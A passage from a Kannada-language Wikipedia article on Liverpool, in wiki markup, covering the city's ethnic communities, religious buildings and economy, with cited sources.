ಕಪ್ಪು ಸಮುದಾಯಕ್ಕೆ ತವರು, ಕೆಲವು ಕಪ್ಪು ಲಿವರ್‌ಪೂಲ್ ಜನರು ತಮ್ಮ ಹತ್ತು ತಲೆಮಾರಿನ ಪೂರ್ವಜರನ್ನು ಗುರುತಿಸುತ್ತಾರೆ.<ref>{{Cite book|last=Costello|first=Ray|title=Black Liverpool: The Early History of Britain's Oldest Black Community 1730–1918|publisher=Picton Press|location=Liverpool|year=2001|isbn=1873245076}}</ref> ನಗರದಲ್ಲಿ ವಾಸಿಸಿತ್ತಿದ್ದ ಮೊದಲ ಕಪ್ಪುಜನಾಂಗದವರ ಜೊತೆಗೆ ಸೀಮೆನ್, ಶಿಕ್ಷಣಕ್ಕಾಗಿ ಕಳುಹಿಸಿದ ವ್ಯಾಪಾರಿಗಳ ಮಕ್ಕಳು, ಮತ್ತು ಗುಲಾಮಗಿರಿಯಿಂದ ಮುಕ್ತಿ ಪಡೆದವರು, 1722ರಲ್ಲಿ ಗುಲಾಮರು ಈ ದೇಶಕ್ಕೆ ಆಗಮಿಸಿದ ನಂತರದಲ್ಲಿ ತಮ್ಮನ್ನು ಮುಕ್ತರು ಎಂದು ಭಾವಿಸುತ್ತಾರೆ.<ref name="McIntyre-Brown">{{Cite book|last=McIntyre-Brown|first=Arabella|coauthors=Woodland, Guy|title=Liverpool: The First 1,000 Years |publisher=Garlic Press|location= Liverpool|year=2001|page=57|isbn=1904099009}}</ref> ಹಾಗೆಯೇ ಯೂರೋಪಿನಲ್ಲಿ ಚೈನೀಸ್ ಸಮುದಾಯಕ್ಕೂ ಇದು ಅತ್ಯಂತ ಹಳೆಯ ನೆಲೆಯಾಗಿದೆ, ಹತ್ತೊಂಭತ್ತನೇಯ ಶತಮಾನದಲ್ಲಿ ಚೈನಾಟೌನ್‌ನಿಂದ ಆಗಮಿಸಿದ ಸೀಮೆನ್‌ಗಳೆ ನಗರದ ಮೊದಲ ನಿವಾಸಿಗಳು.<ref name="Chinese">{{Cite web|url=http://www .mersey-gateway.org/server.php?show=ConWebDoc.1369|title=Culture and Ethnicity Differences in Liverpool – Chinese Community|publisher=Chambré Hardman Trust|accessdate =2008-08-06}}</ref> ಚೀನಾದ ಹೊರಗಡೆಯ ಅತ್ಯಂತ ದೊಡ್ಡ ಹೆಬ್ಬಾಗಿಲು ಲಿವರ್‌ಪೂಲ್‌ . ನಗರದಲ್ಲಿ ಐರಿಶ್ ಮತ್ತು ವೆಲ್ಶ್ ಜನರು ಕೂಡ ದೊಡ್ಡ ಪ್ರಮಾಣದಲ್ಲಿದ್ದಾರೆ.<ref name="IrishWelsh">{{Cite web|url=http://www.mersey-gateway.org/server.php?show=ConWebDoc.1372|title=Culture and Ethnicity Differences in Liverpool – European Communities|publisher=Chambré Hardman Trust|accessdate=2008-08-06|archive-date=2009-01-10|archive-url=https://web.archive.org/web/20090110073826/http://www.mersey-gateway.org/server.php?show=ConWebDoc.1372|url-status=dead}}</ref> 1813ರಲ್ಲಿ ಶೇ10ರಷ್ಟು ಜನ ವೆಲ್ಶ್ ಆಗಿದ್ದರು.ಆದ್ದರಿಂದ ಇದನ್ನು ಉತ್ತರ ವೇಲ್ಸ್‌ನ ರಾಜಧಾನಿ ಎನ್ನಲಾಗುತ್ತದೆ.<ref name="IrishWelsh" /> ಗ್ರೇಟ್ ಐರಿಶ್ ಫೆಮೈನ್ ಆರಂಭವಾದಾಗ ಒಂದು ದಶಕದಲ್ಲಿ ವೇಲ್ಸ್‌ನಿಂದ ಸುಮಾರು ಎರಡು ಮಿಲಿಯನ್ ಜನ ಲಿವರ್‌ಪೂಲ್‌ಗೆ ವಲಸೆ ಬಂದರು. ಆಮೇಲೆ ಅವರಲ್ಲಿ ಕೆಲವರು ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಕ್ಕೆ ಹೋದರು.<ref>{{Cite web|url=http://www.bbc.co.uk/liverpool /content/articles/2005 /07/20/ coast05walks_stage5.shtml|title=Coast Walk: Stage 5 – Steam Packet Company|publisher=BBC|accessdate=2008-08-06}}</ref> 1851ರಿಂದ ಶೇ 20 ರಷ್ಟು ಲಿವರ್‌ಪೂಲ್ ಜನಸಂಖ್ಯೆ ಐರಿಶ್.<ref>{{Cite web|url=http://www.liverpoolmuseums.org.uk/nof/emigrants/access/liverpool.asp?%5Blookup%5D=irish|title=Leaving from Liverpool|publisher=National Museums Liverpool|accessdate=2008-08-06}}</ref> 2001 ರ ಜನಗಣತಿಯ ಪ್ರಕಾರ ಜನಸಂಖ್ಯೆಯ ಶೇ 1.17 ರಷ್ಟು ವೆಲ್ಶ್‌ನಲ್ಲಿ ಜನನ, ಶೇ 0.75 ಐರ್‌ಲ್ಯಾಂಡ್ ಗಣರಾಜ್ಯದಲ್ಲಿ ಜನನ, ಶೇ 0.54 ಉತ್ತರ ಐರ್‌ಲ್ಯಾಂಡಿನಲ್ಲಿ ಜನನ, ಆದರೆ ಹೆಚ್ಚಿನ ಲಿವರ್‌ಪೂಲಿಯರು ವೆಲ್ಶ್ ಅಥವಾ ಐರಿಷ್ ವಂಶಸ್ಥರು.<ref name="CoB">{{Cite web|url=http://www.neighbourhood .statistics.gov. uk/dissemination /LeadTableView.do?a=3&b=276787&c=liverpool&d=13&e=13&g=359393&i=1001x1003x1004&o=198&m=0&r=1&s=1219587699578&enc=1&dsFamilyId=11|title=Neighbourhood Statistics: Country of Birth|publisher=Office for National Statistics|accessdate=2008-08-24}}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ===ಧಾರ್ಮಿಕತೆ=== {{Ref improve section|date=January 2010}} [[File:Metropolitan cathedral of Christ the King.jpg|thumb|right|ಕ್ರೈಸ್ತ್‌ ದಿ ಕಿಂಗ್ ಅವರ ಮೆಟ್ರೊಪಾಲಿಟನ್ ಕ್ಯಾಥಡ್ರೆಲ್‌‍ನ ನೋಟ]] [[File:Al-Rahma Mosque, Liverpool.jpg|thumb|ಲಿವರ್‌ಪೂಲ್‌ನ ಟಾಕ್ಸೆತ್ ಪ್ರದೇಶದಲ್ಲಿರುವ ಅಲ್-ರಹಮಾ ಮಸೀದಿ]] ಸಾವಿರಾರು ವಲಸಿಗರು ಮತ್ತು ನಾವಿಕರು ಲಿವರ್‌ಪೂಲ್ ಮೂಲಕ ಸಾಗುವುದರಿಂದ ಇಂದಿಗೂ ಧಾರ್ಮಿಕ ವಿಭಿನ್ನತೆ ಕಂಡುಬರುತ್ತದೆ. ಇದು ಸಮಾನ ಸಂಖ್ಯೆಯ ಧಾರ್ಮಿಕ ಕಟ್ಟಡಗಳಲ್ಲಿ ಮತ್ತು ಕ್ರಿಸ್ಚಿಯನ್ ಕೆಥೆಡ್ರಲ್‌ಗಳಲ್ಲಿ ಪ್ರತಿಬಿಂಬಿಸುತ್ತದೆ.<ref>{{Cite web |url=http ://liverpoolstreetgallery.com/thumbnails.php?album=51 |title=Church, Mosque, Synagogue |publisher=Liverpool Street Gallery |date=2007-12-02 |accessdate=2010-04-15 |archive-date=2009-11-18 |archive-url=https://web.archive.org/web/20091118220910/http://www.liverpoolstreetgallery.com/thumbnails.php?album=51 |url-status=dead }}</ref> ಟ್ಯೂಬ್ರೂಕ್‌ನ ಬಕಿಂಗ್‌ಹ್ಯಾಮ್ ರಸ್ತೆಯಲ್ಲಿರುವ ಕ್ರಿಸ್ತ್ ಚರ್ಚ್ ಸಾಂಪ್ರದಾಯಿಕ ಇವಾಂಜೆಲಿಕಲ್ ಪ್ರಾರ್ಥನಾ ಸಭೆ ಮತ್ತು ಇವಾಂಜೆಲಿಕಲ್ ಕನೆಕ್ಸಿಯಾನ್ ಭಾಗವಾಗಿದೆ.<ref>{{Cite web|url=http://www.ec-fce.org.uk |title=The Evangelical Connexion of the Free Church of England |publisher=Ec-fce.org.uk |date= |accessdate=2010-04-15}}</ref> ಬೈಬಲ್‌ನಲ್ಲಿರುವ ನಂಬಿಕೆ ಮತ್ತು ಆಚರಣೆಯ ಸೋಲ್ ರೂಲ್ ಮತ್ತು 1785 ಪ್ರಾರ್ಥನಾ ಪುಸ್ತಕಗಳನ್ನು ಬಳಸಿ ಪೂಜಿಸುತ್ತಾರೆ.{0/} ಲಿವರ್‌ಪೂಲ್‌ನ ಆ‍ಯ್‌೦ಗ್ಲಿಕನ್ ಅವರ್ ಲೇಡಿ ಮತ್ತು ಸೇಂಟ್ ನಿಕೋಲಸ್ ಪಾದ್ರಿಯ ಅಧಿಕಾರ ಪ್ರದೇಶದಲ್ಲಿದ್ದು ಇದನ್ನು ಆಡುಮಾತಿನಲ್ಲಿ :ನಾವಿಕರ ಚರ್ಚ್ ಎಂದು ಕರೆಯುತ್ತಾರೆ. ಇದು ಸತತವಾಗಿ ಕ್ಯಾಥೋಲಿಕ್ ಜನಸಾಮಾನ್ಯರಿಗೆ ಆಶ್ರಯನೀಡುತ್ತದೆ. ಇತರೆ ಪ್ರಮುಖ ಚರ್ಚ್‍ಗಳು ಗ್ರೀಕ್ ಆರ್ಥೊಡಕ್ಸ್ ಚರ್ಚ್ ಆಫ್ ಸೇಂಟ್ ನಿಕೋಲಸ್(ನಿಯೋ ಬೈಜಂಟೈನ್ ವಾಸ್ತು ಮಾದರಿಯಲ್ಲಿ ನಿರ್ಮಿಸಲಾಗಿದೆ), ಮತ್ತು ಗುಸ್ತೇವ್ ಅಡೋಲ್ಫಸ್ ಕೈರ್ಕಾ(ಸ್ವಿಡೀಶ್ ಸೀಮನ್ ಚರ್ಚ್, ನಾರ್ಡಿಕ್ ಶೈಲಿಯ ನೆನಪಿಗಾಗಿ). 20ನೇಯ ಶತಮಾನದಲ್ಲಿ ನಿರ್ಮಿಸಲಾದ ಎರಡು ಬೃಹದಾಕಾರದ ಕೆಥೆಡ್ರಲ್‌ಗಳು ಲಿವರ್‌ಪೂಲ್‌ನ ಸಮೃದ್ಧ ಬಂದರು ಪ್ರದೇಶವಾಗಿಸಲು ಸಮರ್ಥವಾಗಿದೆ. ಆಂಗ್ಲಿಕನ್ ಕೆಥೆಡ್ರಲ್‌ನ್ನು ಸರ್ ಗಿಲ್ಸ್ ಗಿಲ್ಬರ್ಟ್ ಸ್ಕಾಟ್ ವಿನ್ಯಾಸಗೊಳಿಸಿದ್ದಾರೆ. ಇದು ವಾರ್ಷಿಕ ಲಿವರ್‌ಪೂಲ್ ಶೇಕ್ಸ್‌ಪಿಯರ್ ಫೆಸ್ಟಿವಲ್ ಆಯೋಜಿಸುತ್ತದೆ ಮತ್ತು ಜಗತ್ತಿನಲ್ಲೆ ಉದ್ದವಾದ ಚರ್ಚಿನ ಮಧ್ಯಾಂಗಣ, ಬೃಹತ್‌ಪ್ರಮಾಣದ ಆರ್ಗನ್‌ಗಳು ಮತ್ತು ಭಾರವಾದ ಮತ್ತು ಎತ್ತರವಾದ ಪ್ರಾರ್ಥನಾ ಗಂಟೆಗಳನ್ನು ಹೊಂದಿದೆ. ದಿ ರೋಮನ್ ಕೆಥೋಲಿಕ್ ಮೆಟ್ರೋಪಾಲಿಟನ್ ಕೆಥೆಡ್ರಲ್, ಲಿವರ್‌ಪೂಲ್ ಸೈನ್ಸ್ ಪಾರ್ಕ್ ಎದುರಿನ ಮೌಂಟ್ ಪೀಸಂಟ್‌ನ್ನು ಇನ್ನೂ ದೊಡ್ಡದಾಗಿಸಲು ಯೋಜಿಸಲಾಗಿದೆ. ಮೂಲ ವಿನ್ಯಾಸಕಾರ ಸರ್ ಎಡ್ವಿನ್ ಲುಟಿಯನ್, ಕೇವಲ ನೆಲಮಾಳಿಗೆ ಮಾತ್ರ ಪೂರ್ಣಗೊಂಡಿದೆ. ಲುಟಿಯನ್‌ರ ಮೂಲ ವಿನ್ಯಾಸಕ್ಕಿಂತ ಸರ್ ಫೆಡರಿಕ್ ಗಿಬ್ಬರ್ಡ್ ವಿನ್ಯಾಸಗೊಳಿಸಿದ ಕೆಥೆಡ್ರಲ್ ಮಾದರಿ ಸಾಮಾನ್ಯವಾಗಿ ಸಣ್ಣದಾಗಿತ್ತು. ಈಗಲೂ ಜಗತ್ತಿನಲ್ಲಿ ಭಾರಿಗಾತ್ರದ ಸ್ಟೇನ್ಡ್ ಗ್ಲಾಸ್ ಬಾಗಿಲನ್ನು ಒಟ್ಟುಗೂಡಿಸುತ್ತಿದೆ. ಎರಡು ಕೆಥೆಡ್ರಲ್‌ಗಳ ನಡುವಿನ ಸಂಪರ್ಕ ರಸ್ತೆಯನ್ನು ಹೋಪ್ ಸ್ಟ್ರೀಟ್ ಎನ್ನಲಾಗುತ್ತದೆ ಹಾಗೆಯೇ ಅನಿರೀಕ್ಷಿತವಾಗಿ ನಂಬಿಕೆಯುಳ್ಳವರನ್ನು ಸಂತೋಷ ಪಡಿಸುತ್ತಿದೆ. ಕೆಥೆಡ್ರಲ್‌ ಆಕಾರದಿಂದ ಇದನ್ನು "ಭತ್ತದ ಡೇರೆ" ಎಂದು ಆಡುಮಾತಿನಲ್ಲಿ ಕರೆಯಲಾಗುತ್ತದೆ.<ref>{{Cite web|url=http://www.bbc.co.uk/liverpool/content/articles/2007/05/10/faith_metro_cathedral_anniv_feature.shtml|title=Cathedral celebrates anniversary}}</ref><ref>ದ ಟರ್ಮ್ ಮೆ ಹ್ಯಾವ್ ಇಟ್ಸ್ ಒರಿಜಿನ್ಸ್ ಇನ್ ರಿಲಿಜಿಯಸ್ ಆಂಡ್ ರೇಷಿಯಲ್ ಸೆಕ್ಟರಿಯಾನಿಸಮ್, ವಿಚ್, ವೈಲ್ ನೌ ಲಾರ್ಜ್ಲಿ ಡಿಸಪಿಯರ್ಡ್, ವಾಸ್ ಒನ್ಸ್ ನೊಟೊರಿಯಸ್ಲಿ ವೈರುಲಂಟ್ ಇನ್ ಲಿವರ್‌ಪೂಲ್.</ref> ಲಿವರ್‌ಪೂಲ್ ಹಲವಾರು ಯೆಹೂದ್ಯರ ಪೂಜಾಮಂದಿರ ಹೊಂದಿದೆ,ಇವುಗಳಲ್ಲೊಂದಾದ ಗ್ರೇಡ್ 1 ಮೋರೀಶ್ ರಿವೈವಲ್ ಪ್ರಿನ್ಸಸ್ ರೋಡ್ ಸಿನಗೋಗ್ ವಾಸ್ತು ವಿನ್ಯಾಸದಲ್ಲಿ ತುಂಬಾ ಪ್ರಾಮುಖ್ಯತೆ ಹೊಂದಿದೆ. ಪ್ರಿನ್ಸಸ್ ರೋಡ್ ಬ್ರಿಟನ್ನಿನ ಮೋರೀಸ್ ರಿವೈವಲ್ ಸಿನಗೋಗ್ ಅತ್ಯಂತ ಶೋಭಾಯಮಾನವಾದದ್ದು ಮತ್ತು ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲೆ ಅತ್ಯಂತ ಸುಂದರ ಕಟ್ಟಡವಾಗಿದೆ .<ref>ಶಾರ್ಪ್ಲ್ಸ್, ಜೊಸೆಫ್, ಪೆವ್ಸ್ನರ್ ಆರ್ಕಿಟೆಕ್ಚರಲ್ ಗೈಡ್ ಟು ಲಿವರ್‌ಪೂಲ್, ಯೇಲ್ ಯುನಿವರ್ಸಿಟಿ ಪ್ರೆಸ್, 2004, p249</ref> ಲಿವರ್‌ಪೂಲ್ ಮುಂದುವರೆದ ಜಿವೀಶ್ ಸಮುದಾಯವನ್ನು ಹೊಂದಿದೆ. ಇನ್ನೂ ಎರಡು ಸಾಂಪ್ರದಾಯಿಕವಾದ ಸಿನಗೋಗ್ ಹೊಂದಿದ್ದು ಇದರಲ್ಲಿ ಮೊದಲನೆಯದು ನಗರದ ಅಲೆರ್ಟನ್ ಜಿಲ್ಲೆಯಲ್ಲಿ ಮತ್ತೊಂದು ಚೈಲ್ಡ್‌ವಾಲ್ ಜಿಲ್ಲೆಯಲ್ಲಿವೆ ಇವೆರಡರಲ್ಲೂ ಗಣನೀಯವಾಗಿ ಜೀವಿಶ್ ಸಮುದಾಯದವರು ವಾಸಿಸುತ್ತಾರೆ. ಮೂರನೇಯ ಸಿನಗೋಗ್ ಗ್ರೀನ್‌ಬ್ಯಾಂಕ್ ಪಾರ್ಕ್‌ ನ L17 ಪ್ರದೇಶದಲ್ಲಿದ್ದು ಇತ್ತೀಚಿಗೆ ಮುಚ್ಚಲ್ಪಟ್ಟಿದೆ ಮತ್ತು 1930ರ ವಿನ್ಯಾಸವೆಂದು ಗುರುತಿಸಲ್ಪಟ್ಟಿದೆ. ಇದು ಲುಬಾವಿಚ್ ಚಬಾದ್ ಹೌಸ್ ಮತ್ತು ಉತ್ತಮವಾದ ಸಿನಗೋಗ್ ಆಗಿದೆ . ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ -18ನೇಯ ಶತಮಾನದ ಮಧ್ಯ ಭಾಗದಿಂದಲೂ ಜಿವೀಶ್ ಸಮುದಾಯವನ್ನು ಹೊಂದಿದೆ. ಪ್ರಸ್ತುತ ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿರುವ ಜಿವೀಶ್ ಜನಸಂಖ್ಯೆ ಅಂದಾಜು 3000.<ref>{{Cite web|url=http://www.liverpoolheritageforum.org.uk/articles.php?id=36|title=Liverpool's Jewish heritage|accessdate=2007-05-13 |archiveurl = https://web.archive.org/web/20070206010004/http://www.liverpoolheritageforum.org.uk/articles.php?id=36 <!-- Bot retrieved archive --> |archivedate = 2007-02-06}}</ref> ಲಿವರ್‌ಪೂಲ್ [[ಹಿಂದೂ ಧರ್ಮ|ಹಿಂದು]] ಸಮುದಾಯವನ್ನು ಹೆಚ್ಚಿನ ಸಂಖ್ಯೆಯಲ್ಲಿ ಹೊಂದಿದ್ದು, 253 ಮಂದಿರ್ಎಡ್ಜ್ ಲೇನ್‌ನಲ್ಲಿ ಹಿಂದೂ ಸಾಂಸ್ಕೃತಿಕ ಸಂಸ್ಥೆಗೆ ಸೇರಿದ ರಾಧಾ ಕೃಷ್ಣ ಹಿಂದೂ ದೇವಸ್ಥಾನವಿದೆ. ಪ್ರಸ್ತುತ ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿರುವ ಹಿಂದೂ ಜನಸಂಖ್ಯೆ ಅಂದಾಜು1147. ಲಿವರ್‌ಪೂಲ್ L15ನಲ್ಲಿ ಗುರು ನಾನಕ್ ಸಿಕ್ ಗುರುದ್ವಾರವನ್ನು ಹೊಂದಿದೆ ನಗರದಲ್ಲಿ ಬ್ರಿಟನ್‌ನಲ್ಲಿಯೇ ಅತ್ಯಂತ ಪುರಾತನವಾದ [[ಮಸೀದಿ|ಮಾಸ್ಕ್ಸ್]] ಹೊಂದಿದ್ದು 1887 ರಲ್ಲಿ ವಿಲಿಯಂ ಅಬ್ದುಲ್ಲಾ ಕ್ವಿಲಿಯಂರಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿದೆ, ಇವರೊಬ್ಬ ವಕೀಲರಾಗಿದ್ದು [[ಇಸ್ಲಾಂ ಧರ್ಮ|ಇಸ್ಲಾಂ]] ಧರ್ಮಕ್ಕೆ ಮತಾಂತರ ಹೊಂದಿದ್ದರು, ಮತ್ತು ಈಸ್ಟ್ ಡಾನ್ಬಿ ರೋಡ್‌ನಲ್ಲಿ ಸಾಲುಮನೆಗಳನ್ನು ನಿರ್ಮಿಸಿದರು. 1908ರ ವರೆಗೆ ಈ ಕಟ್ಟಡವನ್ನು ಪೂಜಾ ಮಂದಿರವಾಗಿ ಬಳಸಲಾಗುತ್ತಿತ್ತು, ಸಿಟಿ ಕೌನ್ಸಿಲ್‌ಗೆ ಮಾರಾಟವಾದ ನಂತರದಲ್ಲಿ ಕಛೇರಿಯಾಗಿ ಬದಲಾಯಿತು.<ref>{{Cite web|title=BBC – Legacies – Architectural Heritage – England – Liverpool – The 'little mosque' – Article Page 1|url=http://www.bbc.co.uk/legacies /heritage/england/ liverpool/ article_2. shtml |author=Lousie Sardais|publisher=BBC|accessdate=2009-01-24}}</ref> ಕಟ್ಟಡವನ್ನು ಪುನರ್‌ನಿರ್ಮಾಣ ಮಾಡುವ ಯೋಜನೆಗೆ ಒಪ್ಪಿಗೆ ದೊರೆತು ಮಾಸ್ಕ್ಸ್ ವಸ್ತುಸಂಗ್ರಹಾಲಯವಾಗಿ ಸ್ಥಾಪಿತವಾಯಿತು.<ref>{{Cite web|title=BBC – Legacies – Architectural Heritage – England – Liverpool – The 'little mosque' – Article Page 2|url=http://www. bbc.co.uk/legacies/ heritage/england/ liverpool/a rticle_1.shtml|author=Lousie Sardais|publisher=BBC|accessdate=2009-01-24}}</ref> ಈಗ ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ ಮೂರು ಮಾಸ್ಕ್ಸ್ ಇವೆ: ಅಲ್-ರಹ್ಮಾ ಮಾಸ್ಕ್ಸ್ ಇದು ಅತ್ಯಂತ ದೊಡ್ಡದು ಮತ್ತು ಮುಖ್ಯವಾದದ್ದು, ನಗರದ ಟಾಕ್ಸ್‌ಟೆಂತ್ ಪ್ರದೇಶದಲ್ಲಿನ ಮಾಸ್ಕ್ಸ್ ಇತ್ತಿಚೀಗಷ್ಟೆ ಮಾಸ್ಲಿ ಹಿಲ್‌ ಜಿಲ್ಲೆಯಲ್ಲಿ ಆರಂಭವಾಗಿದೆ ಮೂರನೇಯ ಮಾಸ್ಕ್ಸ್ ಟಾಕ್ಸ್‌ಟೆಂತ್‌ನಲ್ಲಿ ಮತ್ತು ಗ್ರ್ಯಾನ್ಬಿ ಸ್ಟ್ರೀಟ್‌ನಲ್ಲಿ ಇತ್ತಿಚೀಗೆ ಆರಂಭವಾಗಿದೆ. ==ಆರ್ಥಿಕತೆ== {{Main|Economy of Liverpool}} [[File:Liverpool city centre skyline.jpg|thumb|ಲಿವರ್‌ಪೂಲ್‌ನ ವಾಣಿಜ್ಯ ನಗರದ ರಾತ್ರಿಯ ನೋಟ]] ಲಿವರ್‌ಪೂಲ್ ಆರ್ಥಿಕತೆಯು ಯುನೈಟೆಡ್ ಕಿಂಗ್ಡಮ್‌ನಲ್ಲಿಯೇ ಅತ್ಯ೦ತ ದೊಡ್ಡದು. ಇಂಗ್ಲೆಂಡಿನ ನಾರ್ತ್ ವೆಸ್ಟ್‌ನಲ್ಲಿಯೇ ಎರಡು ಮಧ್ಯಭಾಗದ ಆರ್ಥಿಕ ಕೇಂದ್ರವಾಗಿದೆ.<ref>{{Cite web|url=http://www.liverpoolvision.co.uk /invest/ economicdata.asp|title=Economic Data|publisher=[[Liverpool Vision]]|accessdate=24 February 2010|archive-date=10 ಮೇ 2009|archive-url=https://web.archive.org/web/20090510181148/http://liverpoolvision.co.uk/|url-status=dead}}</ref> 2006ರಲ್ಲಿ, ನಗರದ ಜಿವಿಎ £7,626 ಮಿಲಿಯನ್, ತಲಾ ಆದಾಯ £17,489 ಇದು ನಾರ್ತ್ ವೆಸ್ಟ್ ಸರಾಸರಿಗಿಂತ ಕಡಿಮೆಯಾಗಿದೆ .<ref name="Liverpool Economic Briefing - March 2009">{{Cite web|url=http://www.liverpool.gov.uk/Images/tcm21-151396.pdf|title=Liverpool Economic Briefing – March 2009|date=March 2009|publisher=Liverpool City Council|accessdate=24 February 2010|archiveurl=https://web.archive.org/web/20101204185159/http://www.liverpool.gov.uk/Images/tcm21-151396.pdf|archivedate=4 ಡಿಸೆಂಬರ್ 2010|url-status=dead}}</ref> ಹಲವಾರು ದಶಗಕ ಇಳಿಕೆಯ ನಂತರದಲ್ಲಿ 1990ರ ಮಧ್ಯ ಭಾಗದಿಂದ ಆರ್ಥಿಕತೆಯು ಸ್ವಲ್ಪ ಪ್ರಮಾಣ ದಲ್ಲಿ ಚೇತರಿಸಿಕೊಂಡಂತೆ ಕಂಡುಬರುತ್ತದೆ. 1995 ಮತ್ತು 2006 ರ ಮಧ್ಯೆ ಇದರ ಜಿವಿಎ 71.8% ಮತ್ತು 1998 ಮತ್ತು 2006 ರ ನಡುವೆ ಉದ್ಯೋಗ ಪ್ರಮಾಣವು 12% ಹೆಚ್ಚಳವಾಗಿದೆ.<ref name="Liverpool Economic Briefing - March 2009" /> ಇಂದು ಉಳಿದ ಯುಕೆ ಆರ್ಥಿಕತೆಗಿಂತ ಲಿವರ್‌ಪೂಲ್ ಆರ್ಥಿಕತೆಯಲ್ಲಿ ಸರ್ಕಾರಿ ಮತ್ತು ಖಾಸಗಿ ಈ ಎರಡು ವಲಯಗಳಲ್ಲೂ ಸೇವಾ ಉದ್ಯೋಗಗಳು ಸಾಮಾನ್ಯವಾಗಿದೆ. 2007ರಲ್ಲಿ, ನಗರದಲ್ಲಿ 60%ಕ್ಕಿಂತ ಹೆಚ್ಚು ಎಲ್ಲಾ ಉದ್ಯೋಗಗಳು, ಸಾರ್ವಜನಿಕ ಕಾರ್ಯ ನಿರ್ವಹಣೆ, ಶಿಕ್ಷಣ, ಆರೋಗ್ಯ, ಬ್ಯಾಂಕಿಂಗ್, ಹಣಕಾಸು ಮತ್ತು ವಿಮಾ ಕ್ಷೇತ್ರಗಳಲ್ಲಿವೆ.<ref name="Liverpool Economic Briefing - March 2009" /> ತೀರಾ ಇತ್ತಿಚೀನ ವರ್ಷಗಳಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್ ಆರ್ಥಿಕತೆ ಅರಿವು ಕುರಿತು ಮಾದ್ಯಮ ಮತ್ತು ಜೀವ ವಿಜ್ಞಾನ ವಲಯದಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್ ನಾಲೆಡ್ಜ್ ಕ್ವಾರ್ಟರ್ ಸ್ಥಾಪಿಸಿದ್ದರಿಂದಾಗಿ ಗಮನಾರ್ಹವಾದ ಬೆಳವಣಿಗೆ ಕಂಡುಬಂದಿದೆ.<ref>{{Cite web|url=http://www.liverpool.gov.uk/Business/ Business_sectors_and_services/ index.asp|title= Business sectors and services|date=2009-10-08|publisher=Liverpool City Council|accessdate=24 February 2010|archiveurl=http:/ /web.archive.org/ web/20060926130941/ www.liverpool.gov.uk/Business/Business_sectors_and_services/index.asp|archivedate=26 September 2006}}</ref> ಲಿವರ್‌ಪೂಲ್‌ನ ಶ್ರೀಮಂತ ವಾಸ್ತುಶಿಲ್ಪೀಯ ಅಡಿಪಾಯವು ನಗರವನ್ನು ಯುಕೆಯಲ್ಲಿ ಲಂಡನ್ನಿನ ಸುತ್ತ,<ref name="Liverpool City Region Film and TV">{{Cite web|url=http://www.visitliverpool.com/site/what-to-do/arts-culture-liverpool/liverpool-city-region-film-and-tv|title=Liverpool City Region Film and TV|publisher=Visit Liverpool|accessdate=4 March 2010}}</ref> ಜೊತೆಗೆ ಚಿಕಾಗೋ, ಲಂಡನ್, ಮೋಸ್ಕೋ, ನ್ಯೂಯಾರ್ಕ್, ಪ್ಯಾರೀಸ್ ಮತ್ತು ರೋಮ್‌ಗಳಿಗಿಂತ ಎರಡುಪಟ್ಟು, ಎರಡನೇ ಅತ್ಯದ್ಭುತವಾದ ನಗರವನ್ನಾಗಿಸಲೂ ಕೂಡ ಸಹಕರಿಸಿತು.<ref name="Locations, crew and facilities databases">{{Cite web|url=http://www.liverpool.gov.uk/Leisure_and_culture/Film_office/locations_crew_facilities/index.asp|title=Locations, crew and facilities databases|date=2010-01-12|publisher=Liverpool City Council|accessdate=4 March 2010|archiveurl=https://archive.is/20121224100609/http://www.liverpool.gov.uk/Business/film-office/|archivedate=24 ಡಿಸೆಂಬರ್ 2012|url-status=live}}</ref><ref name="Host City: Liverpool">{{Cite web|url=http://www.england2018bid.com/hostcity/liverpool.aspx|title=Host City: Liverpool|publisher=England 2018|accessdate=4 March 2010}}</ref> [[File:Liverpool One 22.jpg|thumb|left|ಲಿವರ್‌ಪೂಲ್‌ನ ONE ಇದು ಯುಕೆಯಲ್ಲಿಯ ಅತ್ಯುನ್ನತ ಐದು ರಿಟೇಲ್ ಪ್ರದೇಶಗಳಲ್ಲಿ ಒಂದು]] ಲಿವರ್‌ಪೂಲ್‌ ಆರ್ಹಿಕತೆಯ ಇನ್ನೊಂದು ಪ್ರಮುಖ ಭಾಗಗಳು [[ಪ್ರವಾಸೋದ್ಯಮ]] ಮತ್ತು ಲೀಜರ್ ವಲಯ. ಲಿವರ್‌ಪೂಲ್ ನಗರವು ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಮ್‌ನಲ್ಲಿ 6ನೇ ಅತಿ ಹೆಚ್ಚು ಭೇಟಿ ಕೊಡುವ ಸ್ಥಳವಾಗಿದೆ<ref name="Birmingham overtakes Glasgow in top 10 most-visited">{{Cite web|url=http://www.statistics.gov.uk/pdfdir/ttdsreg0709.pdf|title=Birmingham overtakes Glasgow in top 10 most-visited|publisher=[[Office for National Statistics]]|accessdate=3 March 2010|archiveurl=https://web.archive.org/web/20091230011314/http://www.statistics.gov.uk/pdfdir/ttdsreg0709.pdf|archivedate=30 ಡಿಸೆಂಬರ್ 2009|url-status=dead}}</ref> ಮತ್ತು ಜಗತ್ತಿನಲ್ಲಿ ಅತಿ ಹೆಚ್ಚು ಅಂತರಾಷ್ಟ್ರೀಯ ಯಾತ್ರಿಕರಿಂದ ಭೇಟಿಯಾಗಲ್ಪಡುವ 100 ನಗರಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ.<ref>{{Cite web|url=http://www.euromonitor. com/Top_150_City_Destinations_London_Leads_the_Way|title=Top 150 City Destinations: London Leads the Way|date=2007-10-11|publisher=[[Euromonitor International]]|accessdate=3 March 2010}}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> 2008ರಲ್ಲಿ ಯೂರೋಪಿಯನ್ ಕೆಪಿಟಲ್ ಆಫ್ ಕಲ್ಚರ್ ಆಚರಣೆಯ ಸಂದರ್ಭದಲ್ಲಿ 